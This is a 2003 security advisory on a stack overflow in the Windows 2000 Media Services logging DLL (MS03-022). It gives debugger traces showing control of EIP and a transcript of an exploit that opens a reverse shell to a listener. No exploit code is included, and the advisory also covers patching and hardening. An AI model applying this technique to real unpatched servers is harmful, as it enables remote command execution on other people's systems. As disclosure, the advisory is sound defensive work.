Security-Assessment.com – Vulnerability Advisory

Name	Windows Media Services Remote Command Execution #2
Microsoft Advisory	http ://www.microsoft.com/technet/security/bulletin/ms03-022.asp
Date Released	June 25, 2003
Affected Software	Microsoft Windows 2000
Researcher	Brett Moore brett.moore@security-assessment.com

Description
The nsiislog.dll module does not properly handle large post requests that are sent using the normal transfer method. By posting a request with a large body, an attacker can cause an IIS subsystem to stop with an access violation error, resulting in the following log message.

```
Event Type:     Warning
Event Source:   W3SVC
Event Category:None
Event ID:       37
Description:
Out of process application '/LM/W3SVC/1/Root' terminated unexpectedly.
```

This results in a standard stack based overflow, resulting in execution flow been altered when EIP is set to an attacker supplied value. This allows for remote command execution with privileges associated with the IWAM_machinename account. This is the account that IIS runs under.

Solutions
Every day is a 0-day day on the Internet. Limiting the avenues of attack can be a key factor in reducing the risk to a web server. Programs such as secureIIS and URLscan should be setup to reduce the number of methods that can be used to send data to a server. Removing unnecessary services, files and isapi extensions reduces the number of listeners that data can be fed to limiting the number of vulnerabilities that a server is susceptible to.

Install the vendor supplied patch.
http://www.microsoft.com/technet/security/bulletin/ms03-022.asp

About Security-Assessment.com

Security-Assessment.com is a leader in intrusion testing and security code review, and leads the world with SA-ISO, online ISO17799 compliance management solution. Security-Assessment.com is committed to security research and development, and its team have previously identified a number of vulnerabilities in public and private software vendors products.

Technical Details

```
== Standard HTTP Post ==

POST /scripts/nsiislog.dll HTTP/1.1
content-length: <postlength>

<post data>

Using Size: 4354
Connecting....Sending Buffer....
78028E9F   mov al,byte ptr [esi]     ESI = 00B138B4

Using Size: 5000
Connecting....Sending Buffer....
40F01F3B   repne scas byte ptr [edi] EDI = 58585858

Using Size: 25000
Connecting....Sending Buffer....
78005994   mov dword ptr [edi],edx   EDX = 58585858
-
58585858   ???  illegal op          EIP = 58585858

== Exploitation ==

Commonly referred to as a stack based overflow, control is taken when the EIP is set to a
value from the stack. Widely known and easily exploitable by using a call or jmp instruction or
in the worst case a brute force technique of direct jumps.

In this case control is taken when a value is obtained from the stack and then used in a direct
call.

77FB98E1   mov        ecx,dword ptr [ebp+18h]
77FB98E4   call       ecx

== Exploit Example ==

%:\>exploit 192.168.1.63
** IISNSLOG.DLL - Remote Shell **

. Calling Home: blackhole:2000
. Shellcode Size: 322 bytes
. Preparing Exploit Buffer......Ready
. Starting Listener On Port: 2000
. Connecting To Target
. Sending Exploit......Exploit Sent
. Connection Received
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.
C:\WINNT\system32>whoami
IWAM_BLACKHOLE
C:\WINNT\system32>
```

For further information on this issue or any of our service offerings, contact us

Web www.security-assessment.com
Email info@security-assessment.com

Phone +649 302 5093